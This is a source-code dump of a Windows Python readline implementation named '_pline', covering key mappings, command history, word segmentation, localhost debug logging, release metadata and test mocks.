49 | c32.VK_F5: 'f5',
50 | c32.VK_F6: 'f6',
51 | c32.VK_F7: 'f7',
52 | c32.VK_F8: 'f8',
53 | c32.VK_F9: 'f9',
54 | c32.VK_F10: 'f10',
55 | c32.VK_F11: 'f11',
56 | c32.VK_F12: 'f12',
57 | c32.VK_F13: 'f13',
58 | c32.VK_F14: 'f14',
59 | c32.VK_F15: 'f15',
60 | c32.VK_F16: 'f16',
61 | c32.VK_F17: 'f17',
62 | c32.VK_F18: 'f18',
63 | c32.VK_F19: 'f19',
64 | c32.VK_F20: 'f20',
65 | c32.VK_F21: 'f21',
66 | c32.VK_F22: 'f22',
67 | c32.VK_F23: 'f23',
68 | c32.VK_F24: 'f24',
69 | c32.VK_NUMLOCK: 'num_lock,',
70 | c32.VK_SCROLL: 'scroll_lock',
71 | c32.VK_APPS: 'vk_apps',
72 | c32.VK_PROCESSKEY: 'vk_processkey',
73 | c32.VK_ATTN: 'vk_attn',
74 | c32.VK_CRSEL: 'vk_crsel',
75 | c32.VK_EXSEL: 'vk_exsel',
76 | c32.VK_EREOF: 'vk_ereof',
77 | c32.VK_PLAY: 'vk_play',
78 | c32.VK_ZOOM: 'vk_zoom',
79 | c32.VK_NONAME: 'vk_noname',
80 | c32.VK_PA1: 'vk_pa1',
81 | c32.VK_OEM_CLEAR: 'vk_oem_clear',
82 | c32.VK_NUMPAD0: 'numpad0',
83 | c32.VK_NUMPAD1: 'numpad1',
84 | c32.VK_NUMPAD2: 'numpad2',
85 | c32.VK_NUMPAD3: 'numpad3',
86 | c32.VK_NUMPAD4: 'numpad4',
87 | c32.VK_NUMPAD5: 'numpad5',
88 | c32.VK_NUMPAD6: 'numpad6',
89 | c32.VK_NUMPAD7: 'numpad7',
90 | c32.VK_NUMPAD8: 'numpad8',
91 | c32.VK_NUMPAD9: 'numpad9',
92 | c32.VK_DIVIDE: 'divide',
93 | c32.VK_MULTIPLY: 'multiply',
94 | c32.VK_ADD: 'add',
95 | c32.VK_SUBTRACT: 'subtract',
96 | c32.VK_DECIMAL: 'vk_decimal'
97 | }
98 |
99 | VkKeyScan = windll.user32.VkKeyScanA
100 |
101 | def char_to_keyinfo(char, control=False, meta=False, shift=False):
102 | k=KeyPress()
103 | vk = VkKeyScan(ord(char))
104 | if vk & 0xffff == 0xffff:
105 | print('VkKeyScan("%s") = %x' % (char, vk))
106 | raise ValueError('bad key')
107 | if vk & 0x100:
108 | k.shift = True
109 | if vk & 0x200:
110 | k.control = True
111 | if vk & 0x400:
112 | k.meta = True
113 | k.char=chr(vk & 0xff)
114 | return k
115 |
116 | def make_KeyPress(char, state, keycode):
117 | control = (state & (4+8)) != 0
118 | meta = (state & (1+2)) != 0
119 | shift = (state & 0x10) != 0
120 | if control and not meta:#Matches ctrl- chords should pass keycode as char
121 | char = chr(keycode)
122 | elif control and meta: #Matches alt gr and should just pass on char
123 | control = False
124 | meta = False
125 | try:
126 | keyname=code2sym_map[keycode]
127 | except KeyError:
128 | keyname = ""
129 | out = KeyPress(char, shift, control, meta, keyname)
130 | return out
131 |
132 | if __name__ == "__main__":
133 | import startup
134 |
--------------------------------------------------------------------------------
/listeners/_pline/keysyms/winconstants.py:
--------------------------------------------------------------------------------
1 | #This file contains constants that are normally found in win32all
2 | #But included here to avoid the dependency
3 | from __future__ import print_function, unicode_literals, absolute_import
4 |
5 | VK_LBUTTON=1
6 | VK_RBUTTON=2
7 | VK_CANCEL=3
8 | VK_MBUTTON=4
9 | VK_XBUTTON1=5
10 | VK_XBUTTON2=6
11 | VK_BACK=8
12 | VK_TAB=9
13 | VK_CLEAR=12
14 | VK_RETURN=13
15 | VK_SHIFT=16
16 | VK_CONTROL=17
17 | VK_MENU=18
18 | VK_PAUSE=19
19 | VK_CAPITAL=20
20 | VK_KANA=0x15
21 | VK_HANGEUL=0x15
22 | VK_HANGUL=0x15
23 | VK_JUNJA=0x17
24 | VK_FINAL=0x18
25 | VK_HANJA=0x19
26 | VK_KANJI=0x19
27 | VK_ESCAPE=0x1B
28 | VK_CONVERT=0x1C
29 | VK_NONCONVERT=0x1D
30 | VK_ACCEPT=0x1E
31 | VK_MODECHANGE=0x1F
32 | VK_SPACE=32
33 | VK_PRIOR=33
34 | VK_NEXT=34
35 | VK_END=35
36 | VK_HOME=36
37 | VK_LEFT=37
38 | VK_UP=38
39 | VK_RIGHT=39
40 | VK_DOWN=40
41 | VK_SELECT=41
42 | VK_PRINT=42
43 | VK_EXECUTE=43
44 | VK_SNAPSHOT=44
45 | VK_INSERT=45
46 | VK_DELETE=46
47 | VK_HELP=47
48 | VK_LWIN=0x5B
49 | VK_RWIN=0x5C
50 | VK_APPS=0x5D
51 | VK_SLEEP=0x5F
52 | VK_NUMPAD0=0x60
53 | VK_NUMPAD1=0x61
54 | VK_NUMPAD2=0x62
55 | VK_NUMPAD3=0x63
56 | VK_NUMPAD4=0x64
57 | VK_NUMPAD5=0x65
58 | VK_NUMPAD6=0x66
59 | VK_NUMPAD7=0x67
60 | VK_NUMPAD8=0x68
61 | VK_NUMPAD9=0x69
62 | VK_MULTIPLY=0x6A
63 | VK_ADD=0x6B
64 | VK_SEPARATOR=0x6C
65 | VK_SUBTRACT=0x6D
66 | VK_DECIMAL=0x6E
67 | VK_DIVIDE=0x6F
68 | VK_F1=0x70
69 | VK_F2=0x71
70 | VK_F3=0x72
71 | VK_F4=0x73
72 | VK_F5=0x74
73 | VK_F6=0x75
74 | VK_F7=0x76
75 | VK_F8=0x77
76 | VK_F9=0x78
77 | VK_F10=0x79
78 | VK_F11=0x7A
79 | VK_F12=0x7B
80 | VK_F13=0x7C
81 | VK_F14=0x7D
82 | VK_F15=0x7E
83 | VK_F16=0x7F
84 | VK_F17=0x80
85 | VK_F18=0x81
86 | VK_F19=0x82
87 | VK_F20=0x83
88 | VK_F21=0x84
89 | VK_F22=0x85
90 | VK_F23=0x86
91 | VK_F24=0x87
92 | VK_NUMLOCK=0x90
93 | VK_SCROLL=0x91
94 | VK_LSHIFT=0xA0
95 | VK_RSHIFT=0xA1
96 | VK_LCONTROL=0xA2
97 | VK_RCONTROL=0xA3
98 | VK_LMENU=0xA4
99 | VK_RMENU=0xA5
100 | VK_BROWSER_BACK=0xA6
101 | VK_BROWSER_FORWARD=0xA7
102 | VK_BROWSER_REFRESH=0xA8
103 | VK_BROWSER_STOP=0xA9
104 | VK_BROWSER_SEARCH=0xAA
105 | VK_BROWSER_FAVORITES=0xAB
106 | VK_BROWSER_HOME=0xAC
107 | VK_VOLUME_MUTE=0xAD
108 | VK_VOLUME_DOWN=0xAE
109 | VK_VOLUME_UP=0xAF
110 | VK_MEDIA_NEXT_TRACK=0xB0
111 | VK_MEDIA_PREV_TRACK=0xB1
112 | VK_MEDIA_STOP=0xB2
113 | VK_MEDIA_PLAY_PAUSE=0xB3
114 | VK_LAUNCH_MAIL=0xB4
115 | VK_LAUNCH_MEDIA_SELECT=0xB5
116 | VK_LAUNCH_APP1=0xB6
117 | VK_LAUNCH_APP2=0xB7
118 | VK_OEM_1=0xBA
119 | VK_OEM_PLUS=0xBB
120 | VK_OEM_COMMA=0xBC
121 | VK_OEM_MINUS=0xBD
122 | VK_OEM_PERIOD=0xBE
123 | VK_OEM_2=0xBF
124 | VK_OEM_3=0xC0
125 | VK_OEM_4=0xDB
126 | VK_OEM_5=0xDC
127 | VK_OEM_6=0xDD
128 | VK_OEM_7=0xDE
129 | VK_OEM_8=0xDF
130 | VK_OEM_102=0xE2
131 | VK_PROCESSKEY=0xE5
132 | VK_PACKET=0xE7
133 | VK_ATTN=0xF6
134 | VK_CRSEL=0xF7
135 | VK_EXSEL=0xF8
136 | VK_EREOF=0xF9
137 | VK_PLAY=0xFA
138 | VK_ZOOM=0xFB
139 | VK_NONAME=0xFC
140 | VK_PA1=0xFD
141 | VK_OEM_CLEAR=0xFE
142 |
143 | CF_TEXT=1
144 | CF_BITMAP=2
145 | CF_METAFILEPICT=3
146 | CF_SYLK=4
147 | CF_DIF=5
148 | CF_TIFF=6
149 | CF_OEMTEXT=7
150 | CF_DIB=8
151 | CF_PALETTE=9
152 | CF_PENDATA=10
153 | CF_RIFF=11
154 | CF_WAVE=12
155 | CF_UNICODETEXT=13
156 | CF_ENHMETAFILE=14
157 | CF_HDROP=15
158 | CF_LOCALE=16
159 | CF_MAX=17
160 | CF_OWNERDISPLAY=128
161 | CF_DSPTEXT=129
162 | CF_DSPBITMAP=130
163 | CF_DSPMETAFILEPICT=131
164 | CF_DSPENHMETAFILE=142
165 | CF_PRIVATEFIRST=512
166 | CF_PRIVATELAST=767
167 | CF_GDIOBJFIRST=768
168 | CF_GDIOBJLAST=1023
169 |
170 |
171 | GPTR=64
172 | GHND=66
173 |
--------------------------------------------------------------------------------
/listeners/_pline/lineeditor/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 |
--------------------------------------------------------------------------------
/listeners/_pline/lineeditor/history.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 | import re, operator, string, sys, os
10 |
11 | from _pline.unicode_helper import ensure_unicode, ensure_str
12 | if "_pline" in sys.modules:
13 | _pline = sys.modules["_pline"]
14 | else:
15 | import _pline
16 |
17 | from . import lineobj
18 |
19 | class EscapeHistory(Exception):
20 | pass
21 |
22 | from _pline.logger import log
23 |
24 |
25 | class LineHistory(object):
26 | def __init__(self):
27 | self.history = []
28 | self._history_length = 100
29 | self._history_cursor = 0
30 | self.history_filename = os.path.expanduser(ensure_str('~/.history')) #Cannot expand unicode strings correctly on python2.4
31 | self.lastcommand = None
32 | self.query = ""
33 | self.last_search_for = ""
34 |
35 | def get_current_history_length(self):
36 | '''Return the number of lines currently in the history.
37 | (This is different from get_history_length(), which returns
38 | the maximum number of lines that will be written to a history file.)'''
39 | value = len(self.history)
40 | log("get_current_history_length:%d"%value)
41 | return value
42 |
43 | def get_history_length(self):
44 | '''Return the desired length of the history file. Negative values imply
45 | unlimited history file size.'''
46 | value = self._history_length
47 | log("get_history_length:%d"%value)
48 | return value
49 |
50 | def get_history_item(self, index):
51 | '''Return the current contents of history item at index (starts with index 1).'''
52 | item = self.history[index - 1]
53 | log("get_history_item: index:%d item:%r"%(index, item))
54 | return item.get_line_text()
55 |
56 | def set_history_length(self, value):
57 | log("set_history_length: old:%d new:%d"%(self._history_length, value))
58 | self._history_length = value
59 |
60 | def get_history_cursor(self):
61 | value = self._history_cursor
62 | log("get_history_cursor:%d"%value)
63 | return value
64 |
65 | def set_history_cursor(self, value):
66 | log("set_history_cursor: old:%d new:%d"%(self._history_cursor, value))
67 | self._history_cursor = value
68 |
69 | history_length = property(get_history_length, set_history_length)
70 | history_cursor = property(get_history_cursor, set_history_cursor)
71 |
72 | def clear_history(self):
73 | '''Clear readline history.'''
74 | self.history[:] = []
75 | self.history_cursor = 0
76 |
77 | def read_history_file(self, filename=None):
78 | '''Load a readline history file.'''
79 | if filename is None:
80 | filename = self.history_filename
81 | try:
82 | for line in open(filename, 'r'):
83 | self.add_history(lineobj.ReadLineTextBuffer(ensure_unicode(line.rstrip())))
84 | except IOError:
85 | self.history = []
86 | self.history_cursor = 0
87 |
88 | def write_history_file(self, filename = None):
89 | '''Save a readline history file.'''
90 | if filename is None:
91 | filename = self.history_filename
92 | fp = open(filename, 'wb')
93 | for line in self.history[-self.history_length:]:
94 | fp.write(ensure_str(line.get_line_text()))
95 | fp.write('\n'.encode('ascii'))
96 | fp.close()
97 |
98 |
99 | def add_history(self, line):
100 | '''Append a line to the history buffer, as if it was the last line typed.'''
101 | line = ensure_unicode(line)
102 | if not hasattr(line, "get_line_text"):
103 | line = lineobj.ReadLineTextBuffer(line)
104 | if not line.get_line_text():
105 | pass
106 | elif len(self.history) > 0 and self.history[-1].get_line_text() == line.get_line_text():
107 | pass
108 | else:
109 | self.history.append(line)
110 | self.history_cursor = len(self.history)
111 |
112 | def previous_history(self, current): # (C-p)
113 | '''Move back through the history list, fetching the previous command. '''
114 | if self.history_cursor == len(self.history):
115 | self.history.append(current.copy()) #do not use add_history since we do not want to increment cursor
116 |
117 | if self.history_cursor > 0:
118 | self.history_cursor -= 1
119 | current.set_line(self.history[self.history_cursor].get_line_text())
120 | current.point = lineobj.EndOfLine
121 |
122 | def next_history(self, current): # (C-n)
123 | '''Move forward through the history list, fetching the next command. '''
124 | if self.history_cursor < len(self.history) - 1:
125 | self.history_cursor += 1
126 | current.set_line(self.history[self.history_cursor].get_line_text())
127 |
128 | def beginning_of_history(self): # (M-<)
129 | '''Move to the first line in the history.'''
130 | self.history_cursor = 0
131 | if len(self.history) > 0:
132 | self.l_buffer = self.history[0]
133 |
134 | def end_of_history(self, current): # (M->)
135 | '''Move to the end of the input history, i.e., the line currently
136 | being entered.'''
137 | self.history_cursor = len(self.history)
138 | current.set_line(self.history[-1].get_line_text())
139 |
140 | def reverse_search_history(self, searchfor, startpos=None):
141 | if startpos is None:
142 | startpos = self.history_cursor
143 | origpos = startpos
144 |
145 | result = lineobj.ReadLineTextBuffer("")
146 |
147 | for idx, line in list(enumerate(self.history))[startpos:0:-1]:
148 | if searchfor in line:
149 | startpos = idx
150 | break
151 |
152 | #If we get a new search without change in search term it means
153 | #someone pushed ctrl-r and we should find the next match
154 | if self.last_search_for == searchfor and startpos > 0:
155 | startpos -= 1
156 | for idx, line in list(enumerate(self.history))[startpos:0:-1]:
157 | if searchfor in line:
158 | startpos = idx
159 | break
160 |
161 | if self.history:
162 | result = self.history[startpos].get_line_text()
163 | else:
164 | result = ""
165 | self.history_cursor = startpos
166 | self.last_search_for = searchfor
167 | log("reverse_search_history: old:%d new:%d result:%r"%(origpos, self.history_cursor, result))
168 | return result
169 |
170 | def forward_search_history(self, searchfor, startpos=None):
171 | if startpos is None:
172 | startpos = min(self.history_cursor, max(0, self.get_current_history_length()-1))
173 | origpos = startpos
174 |
175 | result = lineobj.ReadLineTextBuffer("")
176 |
177 | for idx, line in list(enumerate(self.history))[startpos:]:
178 | if searchfor in line:
179 | startpos = idx
180 | break
181 |
182 | #If we get a new search without change in search term it means
183 | #someone pushed ctrl-r and we should find the next match
184 | if self.last_search_for == searchfor and startpos < self.get_current_history_length()-1:
185 | startpos += 1
186 | for idx, line in list(enumerate(self.history))[startpos:]:
187 | if searchfor in line:
188 | startpos = idx
189 | break
190 |
191 | if self.history:
192 | result = self.history[startpos].get_line_text()
193 | else:
194 | result = ""
195 | self.history_cursor = startpos
196 | self.last_search_for = searchfor
197 | return result
198 |
199 | def _search(self, direction, partial):
200 | try:
201 | if (self.lastcommand != self.history_search_forward and
202 | self.lastcommand != self.history_search_backward):
203 | self.query = ''.join(partial[0:partial.point].get_line_text())
204 | hcstart = max(self.history_cursor,0)
205 | hc = self.history_cursor + direction
206 | while (direction < 0 and hc >= 0) or (direction > 0 and hc < len(self.history)):
207 | h = self.history[hc]
208 | if not self.query:
209 | self.history_cursor = hc
210 | result = lineobj.ReadLineTextBuffer(h, point=len(h.get_line_text()))
211 | return result
212 | elif (h.get_line_text().startswith(self.query) and (h != partial.get_line_text())):
213 | self.history_cursor = hc
214 | result = lineobj.ReadLineTextBuffer(h, point=partial.point)
215 | return result
216 | hc += direction
217 | else:
218 | if len(self.history) == 0:
219 | pass
220 | elif hc >= len(self.history) and not self.query:
221 | self.history_cursor = len(self.history)
222 | return lineobj.ReadLineTextBuffer("", point=0)
223 | elif self.history[max(min(hcstart, len(self.history) - 1), 0)]\
224 | .get_line_text().startswith(self.query) and self.query:
225 | return lineobj.ReadLineTextBuffer(self.history\
226 | [max(min(hcstart, len(self.history) - 1),0)],
227 | point = partial.point)
228 | else:
229 | return lineobj.ReadLineTextBuffer(partial,
230 | point=partial.point)
231 | return lineobj.ReadLineTextBuffer(self.query,
232 | point=min(len(self.query),
233 | partial.point))
234 | except IndexError:
235 | raise
236 |
237 | def history_search_forward(self, partial): # ()
238 | '''Search forward through the history for the string of characters
239 | between the start of the current line and the point. This is a
240 | non-incremental search. By default, this command is unbound.'''
241 | q= self._search(1, partial)
242 | return q
243 |
244 | def history_search_backward(self, partial): # ()
245 | '''Search backward through the history for the string of characters
246 | between the start of the current line and the point. This is a
247 | non-incremental search. By default, this command is unbound.'''
248 |
249 | q= self._search(-1, partial)
250 | return q
251 |
252 | if __name__ == "__main__":
253 | q = LineHistory()
254 | r = LineHistory()
255 | s = LineHistory()
256 | RL = lineobj.ReadLineTextBuffer
257 | q.add_history(RL("aaaa"))
258 | q.add_history(RL("aaba"))
259 | q.add_history(RL("aaca"))
260 | q.add_history(RL("akca"))
261 | q.add_history(RL("bbb"))
262 | q.add_history(RL("ako"))
263 | r.add_history(RL("ako"))
264 |
--------------------------------------------------------------------------------
/listeners/_pline/lineeditor/wordmatcher.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 |
10 | import re, operator
11 |
12 |
13 | def str_find_all(str, ch):
14 | result = []
15 | index = 0
16 | while index >= 0:
17 | index = str.find(ch, index)
18 | if index >= 0:
19 | result.append(index)
20 | index += 1
21 | return result
22 |
23 |
24 | word_pattern = re.compile("(x*)")
25 |
26 | def markwords(str, iswordfun):
27 | markers = {True : "x", False : "o"}
28 | return "".join([markers[iswordfun(ch)] for ch in str])
29 |
30 | def split_words(str, iswordfun):
31 | return [x for x in word_pattern.split(markwords(str,iswordfun)) if x != ""]
32 |
33 | def mark_start_segment(str, is_segment):
34 | def mark_start(s):
35 | if s[0:1] == "x":
36 | return "s" + s[1:]
37 | else:
38 | return s
39 | return "".join(map(mark_start, split_words(str, is_segment)))
40 |
41 | def mark_end_segment(str, is_segment):
42 | def mark_start(s):
43 | if s[0:1] == "x":
44 | return s[:-1] + "s"
45 | else:
46 | return s
47 | return "".join(map(mark_start, split_words(str, is_segment)))
48 |
49 | def mark_start_segment_index(str, is_segment):
50 | return str_find_all(mark_start_segment(str, is_segment), "s")
51 |
52 | def mark_end_segment_index(str, is_segment):
53 | return [x + 1 for x in str_find_all(mark_end_segment(str, is_segment), "s")]
54 |
55 |
56 | ################ Following are used in lineobj ###########################
57 |
58 | def is_word_token(str):
59 | return not is_non_word_token(str)
60 |
61 | def is_non_word_token(str):
62 | if len(str) != 1 or str in " \t\n":
63 | return True
64 | else:
65 | return False
66 |
67 | def next_start_segment(str, is_segment):
68 | str = "".join(str)
69 | result = []
70 | for start in mark_start_segment_index(str, is_segment):
71 | result[len(result):start] = [start for x in range(start - len(result))]
72 | result[len(result):len(str)] = [len(str) for x in range(len(str) - len(result) + 1)]
73 | return result
74 |
75 | def next_end_segment(str, is_segment):
76 | str = "".join(str)
77 | result = []
78 | for start in mark_end_segment_index(str, is_segment):
79 | result[len(result):start] = [start for x in range(start - len(result))]
80 | result[len(result):len(str)] = [len(str) for x in range(len(str) - len(result) + 1)]
81 | return result
82 |
83 |
84 | def prev_start_segment(str, is_segment):
85 | str = "".join(str)
86 | result = []
87 | prev = 0
88 | for start in mark_start_segment_index(str, is_segment):
89 | result[len(result):start+1] = [prev for x in range(start - len(result) + 1)]
90 | prev=start
91 | result[len(result):len(str)] = [prev for x in range(len(str) - len(result) + 1)]
92 | return result
93 |
94 | def prev_end_segment(str, is_segment):
95 | str = "".join(str)
96 | result = []
97 | prev = 0
98 | for start in mark_end_segment_index(str, is_segment):
99 | result[len(result):start + 1] = [prev for x in range(start - len(result) + 1)]
100 | prev=start
101 | result[len(result):len(str)] = [len(str) for x in range(len(str) - len(result) + 1)]
102 | return result
103 |
104 |
--------------------------------------------------------------------------------
/listeners/_pline/logger.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 |
10 | import socket, logging, logging.handlers
11 | from _pline.unicode_helper import ensure_str
12 |
13 | host = "localhost"
14 | port = logging.handlers.DEFAULT_TCP_LOGGING_PORT
15 |
16 |
17 | _pline_logger = logging.getLogger('_pline')
18 | _pline_logger.setLevel(logging.DEBUG)
19 | _pline_logger.propagate = False
20 | formatter = logging.Formatter(str('%(message)s'))
21 | file_handler = None
22 |
23 | class NULLHandler(logging.Handler):
24 | def emit(self, s):
25 | pass
26 |
27 | class SocketStream(object):
28 | def __init__(self, host, port):
29 | self.logsocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
30 |
31 | def write(self, s):
32 | self.logsocket.sendto(ensure_str(s), (host, port))
33 |
34 | def flush(self):
35 | pass
36 |
37 | def close(self):
38 | pass
39 |
40 | socket_handler = None
41 | _pline_logger.addHandler(NULLHandler())
42 |
43 | def start_socket_log():
44 | global socket_handler
45 | socket_handler = logging.StreamHandler(SocketStream(host, port))
46 | socket_handler.setFormatter(formatter)
47 | _pline_logger.addHandler(socket_handler)
48 |
49 | def stop_socket_log():
50 | global socket_handler
51 | if socket_handler:
52 | _pline_logger.removeHandler(socket_handler)
53 | socket_handler = None
54 |
55 | def start_file_log(filename):
56 | global file_handler
57 | file_handler = logging.FileHandler(filename, "w")
58 | _pline_logger.addHandler(file_handler)
59 |
60 | def stop_file_log():
61 | global file_handler
62 | if file_handler:
63 | _pline_logger.removeHandler(file_handler)
64 | file_handler.close()
65 | file_handler = None
66 |
67 | def stop_logging():
68 | log("STOPING LOG")
69 | stop_file_log()
70 | stop_socket_log()
71 |
72 | def log(s):
73 | s = ensure_str(s)
74 | _pline_logger.debug(s)
75 |
--------------------------------------------------------------------------------
/listeners/_pline/logserver.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 |
10 | import logging
11 | import logging.handlers
12 | import struct, socket
13 | from _pline.unicode_helper import ensure_unicode
14 | try:
15 | import msvcrt
16 | except ImportError:
17 | msvcrt = None
18 | print("problem")
19 |
20 |
21 | port = logging.handlers.DEFAULT_TCP_LOGGING_PORT
22 | host = 'localhost'
23 |
24 | def check_key():
25 | if msvcrt is None:
26 | return False
27 | else:
28 | if msvcrt.kbhit():
29 | q = ensure_unicode(msvcrt.getch())
30 | return q
31 | return ""
32 |
33 |
34 | singleline=False
35 |
36 | def main():
37 | print("Starting TCP logserver on port:", port)
38 | print("Press q to quit logserver", port)
39 | print("Press c to clear screen", port)
40 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
41 |
42 | s.bind(("", port))
43 | s.settimeout(1)
44 | while 1:
45 | try:
46 | data, addr = s.recvfrom(100000)
47 | print(data, end="")
48 | except socket.timeout:
49 | key = check_key().lower()
50 | if "q" == key:
51 | print("Quitting logserver")
52 | break
53 | elif "c" == key:
54 | print("\n" * 100)
55 |
56 | if __name__ == "__main__":
57 | main()
--------------------------------------------------------------------------------
/listeners/_pline/modes/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 | __all__=["emacs", "notemacs", "vi"]
3 | from . import emacs, notemacs, vi
4 | editingmodes = [emacs.EmacsMode, notemacs.NotEmacsMode, vi.ViMode]
5 |
6 | #add check to ensure all modes have unique mode names
--------------------------------------------------------------------------------
/listeners/_pline/py3k_compat.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] >= 3:
5 | import collections
6 | PY3 = True
7 | def callable(x):
8 | return isinstance(x, collections.Callable)
9 |
10 | def execfile(fname, glob, loc=None):
11 | loc = loc if (loc is not None) else glob
12 | with open(fname) as fil:
13 | txt = fil.read()
14 | exec(compile(txt, fname, 'exec'), glob, loc)
15 |
16 | unicode = str
17 | bytes = bytes
18 | from io import StringIO
19 | else:
20 | PY3 = False
21 | callable = callable
22 | execfile = execfile
23 | bytes = str
24 | unicode = unicode
25 |
26 | from StringIO import StringIO
27 |
--------------------------------------------------------------------------------
/listeners/_pline/release.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from __future__ import print_function, unicode_literals, absolute_import
3 | """Release data for the _pline project.
4 |
5 | $Id$"""
6 |
7 | #*****************************************************************************
8 | # Copyright (C) 2006 Jorgen Stenarson.
9 | #
10 | #
11 | # Distributed under the terms of the BSD License. The full license is in
12 | # the file COPYING, distributed as part of this software.
13 | #*****************************************************************************
14 |
15 | # Name of the package for release purposes. This is the name which labels
16 | # the tarballs and RPMs made by distutils, so it's best to lowercase it.
17 | name = '_pline'
18 |
19 | # For versions with substrings (like 0.6.16.svn), use an extra . to separate
20 | # the new substring. We have to avoid using either dashes or underscores,
21 | # because bdist_rpm does not accept dashes (an RPM) convention, and
22 | # bdist_deb does not accept underscores (a Debian convention).
23 |
24 | branch = ''
25 |
26 | version = '2.1'
27 |
28 | description = "A python implmementation of GNU readline."
29 |
30 | long_description = \
31 | """
32 | The _pline package is a python implementation of GNU readline functionality
33 | it is based on the ctypes based UNC readline package by Gary Bishop.
34 | It is not complete. It has been tested for use with windows 2000 and windows xp.
35 |
36 | * _pline 2.1 <2015-09-16>
37 |
38 | This is a bugfix release to make _pline work with python 3.5.
39 |
40 | Contributors to this release:
41 |
42 | - Jörgen Stenarson, maintainer
43 | - kivhift, improved error message for running on non windows platforms
44 | - zooba, made helpful suggestions to make it work for python 3.5
45 |
46 | Version 2.1 of _pline has been verfied for Python 2.7, and 3.4, 3.5.
47 |
48 |
49 | Features:
50 | * keyboard text selection and copy/paste
51 | * Shift-arrowkeys for text selection
52 | * Control-c can be used for copy activate with allow_ctrl_c(True) in config file
53 | * Double tapping ctrl-c will raise a KeyboardInterrupt, use ctrl_c_tap_time_interval(x)
54 | where x is your preferred tap time window, default 0.3 s.
55 | * paste pastes first line of content on clipboard.
56 | * ipython_paste, pastes tab-separated data as list of lists or numpy array if all data is numeric
57 | * paste_mulitline_code pastes multi line code, removing any empty lines.
58 |
59 |
60 | The latest development version is always available at the IPython github
61 | repository_.
62 |
63 | .. _repository: https://github.com/_pline/_pline.git
64 | """
65 |
66 | license = 'BSD'
67 |
68 | authors = {'Jorgen' : ('Jorgen Stenarson','jorgen.stenarson@kroywen.se'),
69 | 'Gary': ('Gary Bishop', ''),
70 | 'Jack': ('Jack Trainor', ''),
71 | }
72 |
73 | url = 'http://ipython.org/_pline.html'
74 | download_url = 'https://pypi.python.org/pypi/_pline/'
75 | platforms = ['Windows XP/2000/NT',
76 | 'Windows 95/98/ME']
77 |
78 | keywords = ['readline',
79 | '_pline']
80 |
81 | classifiers = ['Development Status :: 5 - Production/Stable',
82 | 'Environment :: Console',
83 | 'Operating System :: Microsoft :: Windows',
84 | 'License :: OSI Approved :: BSD License',
85 | 'Programming Language :: Python :: 2.7',
86 | 'Programming Language :: Python :: 3.2',
87 | 'Programming Language :: Python :: 3.3',
88 | 'Programming Language :: Python :: 3.4',
89 | 'Programming Language :: Python :: 3.5',
90 | ]
91 |
--------------------------------------------------------------------------------
/listeners/_pline/test/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 |
--------------------------------------------------------------------------------
/listeners/_pline/test/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Michael Graz.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 | from _pline.modes.emacs import *
10 | from _pline import keysyms
11 | from _pline.lineeditor import lineobj
12 | from _pline.keysyms.common import make_KeyPress_from_keydescr
13 |
14 | import unittest
15 | class MockReadline:
16 | def __init__ (self):
17 | self.l_buffer=lineobj.ReadLineTextBuffer("")
18 | self._history=history.LineHistory()
19 |
20 | def add_history (self, line):
21 | self._history.add_history (lineobj.TextLine (line))
22 |
23 | def _print_prompt (self):
24 | pass
25 |
26 | def _bell (self):
27 | pass
28 |
29 | def insert_text(self, string):
30 | '''Insert text into the command line.'''
31 | self.l_buffer.insert_text(string)
32 |
33 |
34 | class MockConsole:
35 | def __init__ (self):
36 | self.bell_count = 0
37 | self.text = ''
38 |
39 | def size (self):
40 | return (1, 1)
41 |
42 | def cursor(self, visible=None, size=None):
43 | pass
44 |
45 | def bell (self):
46 | self.bell_count += 1
47 |
48 | def write (self, text):
49 | self.text += text
50 |
51 |
52 |
53 |
54 | class Event:
55 | def __init__ (self, char):
56 | if char=="escape":
57 | self.char='\x1b'
58 | elif char=="backspace":
59 | self.char='\x08'
60 | elif char=="tab":
61 | self.char='\t'
62 | elif char=="space":
63 | self.char=' '
64 | else:
65 | self.char = char
66 |
67 | def keytext_to_keyinfo_and_event (keytext):
68 | keyinfo = keysyms.common.make_KeyPress_from_keydescr (keytext)
69 | if len(keytext) == 3 and keytext[0] == '"' and keytext[2] == '"':
70 | event = Event (keytext[1])
71 | else:
72 | event = Event (keyinfo.tuple() [3])
73 | return keyinfo, event
74 |
75 |
76 |
77 | #override runTests from from main in unittest to remove sys.exit call
